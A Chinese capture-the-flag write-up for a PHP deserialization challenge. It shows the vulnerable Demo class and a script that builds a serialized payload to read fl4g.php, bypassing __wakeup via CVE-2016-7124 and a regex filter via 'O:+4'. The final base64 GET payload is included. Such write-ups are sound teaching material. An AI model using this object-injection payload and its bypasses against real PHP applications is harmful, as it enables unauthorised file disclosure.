攻防世界-web-Web_php_unserialize(PHP反序列化漏洞)


本題進入場景后,顯示如下代碼:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

可以看出,代碼中使用了php反序列化函數unserialize(),且可以通過$var來控制unserialize()的變量,猜測存在php反序列化漏洞。

php序列化:php為了方便進行數據的傳輸,允許把復雜的數據結構,壓縮到一個字符串中。使用serialize()函數。

Php反序列化:將被壓縮為字符串的復雜數據結構,重新恢復。使用unserialize() 函數。

php反序列化漏洞:php有許多魔術方法,如果代碼中使用了反序列化 unserialize()函數,並且參數可控制,那么可以通過設定注入參數來完成想要實現的目的。

具體php反序列化學習可參考:https://www.cnblogs.com/ichunqiu/p/10484832.html

 

看到源碼,本題需要繞過一個__wakeup()函數和一個正則匹配,才能高亮顯示出 fl4g.php 文件。

繞過__wakeup():

在反序列化執行之前,會先執行__wakeup這個魔術方法,所以需要繞過。

繞過__wakeup()是利用CVE-2016-7124漏洞,即反序列化時,如果表示對象屬性個數的值大於真實的屬性個數時就會跳過__wakeup( )的執行。

影響版本:

  • PHP before 5.6.25
  • 7.x before 7.0.10

繞過正則:

使用+可以繞過preg_match(), 正則匹配這里匹配的是 O:4,我們用 O:+4 即可繞過。

腳本如下:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$var = new Demo('fl4g.php');
$var = serialize($var);
var_dump($var);//string(48) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$var = str_replace('O:4', 'O:+4',$var);//繞過preg_match
$var = str_replace(':1:', ':2:',$var);//繞過wakeup
var_dump($var);//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($var));#顯示base64編碼后的序列化字符串
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

最后get傳參即可獲得flag。

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

這里有個坑,這里的 file 變量為私有變量,所以序列化之后的字符串開頭結尾各有一個空白字符(即%00),字符串長度也比實際長度大 2,如果將序列化結果復制到在線的 base64 網站進行編碼可能就會丟掉空白字符,所以這里直接在php 代碼里進行編碼。類似的還有 protected 類型的變量,序列化之后字符串首部會加上%00*%00。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM